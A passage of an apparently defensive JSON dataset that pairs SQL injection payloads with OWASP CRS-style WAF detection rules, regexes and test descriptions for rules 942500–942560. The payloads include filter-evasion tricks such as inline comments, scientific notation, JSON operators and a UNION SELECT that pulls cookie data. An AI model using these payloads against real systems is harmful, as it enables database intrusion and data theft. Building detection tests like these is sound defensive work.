"test_description": "Use of optimizer hints (/*+...*/) as evasion technique with space before +" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=9999+or+{if+length((/*!5000select+username/*!comment*/" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)/\\*[\\s\\x0b]*?[!\\+](?:[\\s\\x0b\\(\\)\\-0-9=A-Z_a-z]+)?\\*/", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942500", "test_description": "Status Page Test - MySQL inline comment detected" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op';" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "Positive test for single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op\";" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "Positive test for double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=admin%40juice-sh.op`;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "Positive test for backticks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='foo';'bar';'def'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "False positive test CSV balanced single quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=`foo`;`bar`;`def`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "False positive test balanced backticks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "----------397236876\nContent-Disposition: form-data; name=\"document\"; filename=\"document.md\"\nContent-Type: text/markdown\n\n# Foo\nmy name is 'foo'; and I work on CRS.\n# Bar\nmy name is \"bar\"; and I work on CRS.\n----------397236876--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "False positive test (markdown) mixed and balanced quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=root%40example.com%27%2F%2A%20comment%20%2A%2F%3B" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "^(?:[^']*'|[^\\\"]*\\\"|[^`]*`)[\\s\\x0b]*;", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942540", "test_description": "Test for bypass with comment" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=1.e(ascii+1.e(substring(1.e(select+password+from+users+limit+1+1.e,1+1.e)+1.e,1+1.e,1+1.e)1.e)1.e)+=+70+or'1'='2" } ], "attack_context": { "method": "GET", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)1\\.e(?:[\\(\\),]|\\.[\\$0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942560", "test_description": "Positive test for Scientific Notation in MySQL, e.g 1.e(" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=1.e(ascii)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)1\\.e(?:[\\(\\),]|\\.[\\$0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942560", "test_description": "Status Page Test - simplified positive test for Scientific Notation in MySQL, e.g 1.e(" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=1.e.tables" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)1\\.e(?:[\\(\\),]|\\.[\\$0-9A-Z_a-z])", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942560", "test_description": "Status Page Test - simplified positive test for Scientific Notation in MySQL, e.g 1.e.tables" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajsonb%20%3C%40%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajsonb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::jsonb <@ '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajsonb%20%3C%40%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::jsonb <@ '{\"a\":1, \"b\":2}'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%20%3C%40%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajsonb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}' <@ '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajson%20%3C%40%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::json <@ '{\"a\":1, \"b\":2}'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%20%3C%40%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajson" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}' <@ '{\"a\":1, \"b\":2}'::json\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajsonb%20%40%3E%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajsonb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::jsonb @> '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajsonb%20%3C%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajsonb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::jsonb < '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22b%22%3A2%7D%27%3A%3Ajsonb%20%3E%20%27%7B%22a%22%3A1%2C%20%22b%22%3A2%7D%27%3A%3Ajsonb" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"b\":2}'::jsonb > '{\"a\":1, \"b\":2}'::jsonb\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22a%22%3A2%2C%22c%22%3A%5B4%2C5%2C%7B%22f%22%3A7%7D%5D%7D%27%20-%3E%20%27%24.c%5B2%5D.f%27%20%3D%207" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"a\":2,\"c\":[4,5,{\"f\":7}]}' -> '$.c[2].f' = '7'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20json_extract%28%27%7B%22id%22%3A%2014%2C%20%22name%22%3A%20%22Aztalan%22%7D%27%2C%20%27%24.name%27%29%20%3D%20%27Aztalan%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR json_extract('{\"id\": 14, \"name\": \"Aztalan\"}', '$.name') = 'Aztalan'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=blah/%22%7D%27%20and%20data%20%40%3E%20%27%7B%22a%22%3A%22a%22%7D%27%20union%20select%20ASCII%28s.token%29%20from%20unnset%28string_to_array%28%28select%20cookie%20from%20cookie%20limit%201%20%29%2CNULL%29%29%20s%28token%29--/state" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: blah/\"}' and data @> '{\"a\":\"a\"}' union select ASCII(s.token) from unnset(string_to_array((select cookie from cookie limit 1 ),NULL)) s(token)--/state\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22a%22%3A%22b%22%7D%27%20%3F%20%27a%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"a\":\"b\"}' ? 'a'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%5B1%2C2%5D%27%20%3F%20%271%27" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '[1,2]' ? '1'\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22name%22%3A%22asd%22%7D%27%20%3F%7C%20array%5B%27a%27%2C%27name%27%5D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"name\":\"asd\"}' ?| array['a','name']\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=OR%20%27%7B%22name%22%3A%22asd%22%7D%27%20%3F%26%20array%5B%27a%27%2C%27name%27%5D" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|(?:[\\-@]>?|<@|@[\\?@]|\\?(?:(?:)|&|\\|#>)|#(?:>>|-)|->>|[<>])[\\\"'`](?:[\\[\\{][^#\\]\\}]*[\\]\\}]+[\\\"'`]|\\$[\\.\\[])|\\bjson_extract\\b[^\\(]*\\([^\\)]*\\)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "removeWhitespace" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942550", "test_description": "JSON in SQL (ARGS)\ndecoded payload: OR '{\"name\":\"asd\"}' ?& array['a','name']\n" } }, { "input": { "malicious_payload": [ { "location": 